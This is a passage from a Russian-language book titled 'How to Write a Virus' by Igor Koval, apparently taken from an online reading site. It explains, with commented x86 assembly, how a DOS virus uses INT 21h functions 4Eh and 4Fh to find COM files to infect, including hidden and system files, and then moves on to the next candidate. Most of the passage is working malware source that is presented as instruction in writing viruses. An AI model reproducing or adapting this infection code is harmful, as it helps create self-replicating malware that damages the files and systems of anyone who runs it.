"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

loop save_dta ;Цикл 128 раз

Работа фрагмента пояснений не требует ...


1.9 Ищем подходящий файл

Теперь самое время заняться поиском файла для за-
ражения.Для поиска файла - жертвы мы будем исполь-
зовать пару функций DOS : 4Eh ( поиск первого фай-
ла ) и 4Fh ( поиск следующего файла ) . При вызове
4Eh в регистр CX помещаются атрибуты искомого фай-
ла, а в DX - его имя и расширение . Установленная
нами маска предполагает поиск COM-файла, с атрибу-
тами "archive","system" и "hidden".Функция 4Fh ис-
пользуется уже после того, как функция 4Eh нашла
первый файл, удовлетворяющий нашим требованиям.Ви-
рус будет вызывать ее в том случае, если найденный
файл ему не подходит (например, он слишком велик).
Имя найденного файла описанные выше функции поме-
щают в DTA по смещению 01eh .
А теперь приведем программный фрагмент, выпол-
няющий поиск файла :

find_first:
mov ah,4eh ;Поиск первого
;файла ...
mov cx,00100110b ;archive, system
;hidden
lea dx,maska ;Маска для поис-
;ка
int 21h
jnc r_3 ;Нашли !
jmp restore_dta ;Ошибка !

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta ;Файл нельзя за-
;крыть !

r_2: mov ah,4fh ;И найдем сле-
int 21h ;дующий ...
jnc r_3 ;Файл найден !
jmp restore_dta ;Ошибка !

r_3: mov cx,12 ;Сотрем в буфере
lea si,fn ;"fn" имя пред-
destroy_name: ;ыдущего файла
mov byte ptr [si],0 ;